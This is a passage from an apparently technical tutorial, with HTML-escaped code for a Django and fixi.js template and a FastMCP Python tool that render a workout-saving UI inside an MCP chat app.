&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;evt&lt;&#x2F;span&gt;&lt;span&gt;.target.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;matches&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;[ext-fx-indicator]&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)) {
&lt;&#x2F;span&gt;&lt;span&gt;                &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;let &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;disableSelector &lt;&#x2F;span&gt;&lt;span&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;evt&lt;&#x2F;span&gt;&lt;span&gt;.target.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;getAttribute&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;ext-fx-indicator&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;                &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;evt&lt;&#x2F;span&gt;&lt;span&gt;.target.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;addEventListener&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;fx:before&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, () &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;=&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;let &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;disableTarget &lt;&#x2F;span&gt;&lt;span&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;disableSelector &lt;&#x2F;span&gt;&lt;span&gt;=== &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&amp;quot; &lt;&#x2F;span&gt;&lt;span&gt;? &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;evt&lt;&#x2F;span&gt;&lt;span&gt;.target : document.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;querySelector&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;disableSelector&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;disableTarget&lt;&#x2F;span&gt;&lt;span&gt;.classList.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;add&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;fixi-request-in-flight&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;evt&lt;&#x2F;span&gt;&lt;span&gt;.target.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;addEventListener&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;fx:after&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, (afterEvt) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;=&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;                        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;afterEvt&lt;&#x2F;span&gt;&lt;span&gt;.target === &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;evt&lt;&#x2F;span&gt;&lt;span&gt;.target) {
&lt;&#x2F;span&gt;&lt;span&gt;                            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;disableTarget&lt;&#x2F;span&gt;&lt;span&gt;.classList.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;remove&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;fixi-request-in-flight&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;                        }
&lt;&#x2F;span&gt;&lt;span&gt;                    })
&lt;&#x2F;span&gt;&lt;span&gt;                })
&lt;&#x2F;span&gt;&lt;span&gt;            }
&lt;&#x2F;span&gt;&lt;span&gt;        });
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#848da1;&quot;&gt;&#x2F;&#x2F; 3. Populate UI on initial render with dynamic content fetched with `show_user_ui` tool
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e5c07b;&quot;&gt;app&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;ontoolresult &lt;&#x2F;span&gt;&lt;span&gt;= (params) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;=&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;            document.body.innerHTML = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;params&lt;&#x2F;span&gt;&lt;span&gt;.structuredContent?.html ?? document.body.innerHTML;
&lt;&#x2F;span&gt;&lt;span&gt;        };
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;script&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;head&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;{# Empty body, since `app.ontoolresult` will populate it on load #}
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;body&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;body&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;{% partialdef save-form-fragment %}
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;id&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;save-form-fragment&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    Workout {{ workout.id }} has been saved for {{ workout.occurrence.event.id }} on {{ workout.occurrence.start_date
&lt;&#x2F;span&gt;&lt;span&gt;    }}.
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;{% endpartialdef %}
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;{% partialdef main-contents %}
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;id&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;main-contents&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;form&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;input &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;workout_dsl&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;type&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;hidden&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;value&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;{{workout_dsl}}&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;select
&lt;&#x2F;span&gt;&lt;span&gt;                &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;id&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;event-selector&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;                &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;event_id&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;                &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;fx-action&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;tool:render_occurrences_fragment&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;                &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;fx-target&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;#occurrence-fragment&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;                &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;fx-swap&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;outerHTML&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;            &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;option&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;-----&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;option&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;            {% for evt in events %}
&lt;&#x2F;span&gt;&lt;span&gt;            &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;option &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;value&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;{{ evt.id }}&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;{{ evt.name }}&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;option&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;            {% endfor %}
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;select&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;        {% partialdef occurrence-fragment inline %}
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;select &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;id&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;occurrence-fragment&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;occurrence_id&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;            {% for occ in occurrences %}
&lt;&#x2F;span&gt;&lt;span&gt;            &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;option &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;value&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;{{ occ.id }}&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;{{ occ.start_date }}&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;option&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;            {% endfor %}
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;select&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;        {% endpartialdef %}
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;button
&lt;&#x2F;span&gt;&lt;span&gt;                &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;type&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;submit&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;                &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;fx-action&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;tool:save_form_fragment&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;                &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;fx-swap&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;outerHTML&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;                &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;fx-target&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;#main-contents&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;                &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;ext-fx-indicator
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;            &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;span&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Save Workout&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;span&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;            &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;svg &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;id&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;indicator&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;...&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;svg&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;button&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;form&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;{% endpartialdef %}
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;html&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This HTML resource defines three core pieces of logic within its &lt;code&gt;&amp;lt;script&amp;gt;&lt;&#x2F;code&gt; tag:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Event listener for &lt;code&gt;fx:config&lt;&#x2F;code&gt;: We can use &lt;code&gt;fx-action&lt;&#x2F;code&gt; attribute to make MCP tool calls.&lt;&#x2F;li&gt;
&lt;li&gt;Event listener for &lt;code&gt;fx:init&lt;&#x2F;code&gt;: Set up an indicator to show that a tool call is being processed.&lt;&#x2F;li&gt;
&lt;li&gt;Handle &lt;code&gt;app.ontoolresult&lt;&#x2F;code&gt;: Display the main UI with the output by processing &lt;code&gt;CallToolResult&lt;&#x2F;code&gt;.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;The LLM will load the &lt;strong&gt;resource&lt;&#x2F;strong&gt; in the chat, and then call &lt;code&gt;show_user_ui&lt;&#x2F;code&gt; &lt;strong&gt;tool&lt;&#x2F;strong&gt;, which renders the &lt;code&gt;main-contents&lt;&#x2F;code&gt;
template partial.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;django.template.loader &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;render_to_string
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;mcp.server.fastmcp &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;FastMCP
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;mcp.server.fastmcp &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;Context
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;mcp.types &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;CallToolResult
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;events.models &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;Events, Occurrences
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;workout_validator &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;validate_program, DSLValidationError
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;mcp = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;FastMCP&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;@mcp.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;tool&lt;&#x2F;span&gt;&lt;span&gt;(
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;show_user_ui&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;description&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;Display UI&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;meta&lt;&#x2F;span&gt;&lt;span&gt;={&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;ui&#x2F;resourceUri&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;ui:&#x2F;&#x2F;user_ui_resource.html&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;async def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#61afef;&quot;&gt;show_user_ui&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;ctx&lt;&#x2F;span&gt;&lt;span&gt;: Context, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;workout_dsl&lt;&#x2F;span&gt;&lt;span&gt;: str) -&amp;gt; CallToolResult:
&lt;&#x2F;span&gt;&lt;span&gt;    user = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;await &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;get_user_from_context&lt;&#x2F;span&gt;&lt;span&gt;(ctx)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;try&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;        validate_workout = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;validate_program&lt;&#x2F;span&gt;&lt;span&gt;(workout_dsl)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;except &lt;&#x2F;span&gt;&lt;span&gt;DSLValidationError &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;as &lt;&#x2F;span&gt;&lt;span&gt;e:
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;...
&lt;&#x2F;span&gt;&lt;span&gt;        handle
&lt;&#x2F;span&gt;&lt;span&gt;        invalid
&lt;&#x2F;span&gt;&lt;span&gt;        workout
&lt;&#x2F;span&gt;&lt;span&gt;        data&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;...
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    initial_events_qs = Events.objects.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;filter&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;user&lt;&#x2F;span&gt;&lt;span&gt;=user)
&lt;&#x2F;span&gt;&lt;span&gt;    initial_events = [evt &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;async for &lt;&#x2F;span&gt;&lt;span&gt;evt &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span&gt;initial_events_qs.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;aiterator&lt;&#x2F;span&gt;&lt;span&gt;()]
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span style=&quot;color:#56b6c2;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(initial_events) &amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;        initial_occurrences_qs = Occurrences.objects.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;select_related&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;event&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;filter&lt;&#x2F;span&gt;&lt;span&gt;(
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;event_id&lt;&#x2F;span&gt;&lt;span&gt;=initial_events[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;order_by&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;start_date&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;        initial_occurrences = [occ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;async for &lt;&#x2F;span&gt;&lt;span&gt;occ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span&gt;initial_occurrences_qs.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;aiterator&lt;&#x2F;span&gt;&lt;span&gt;()]
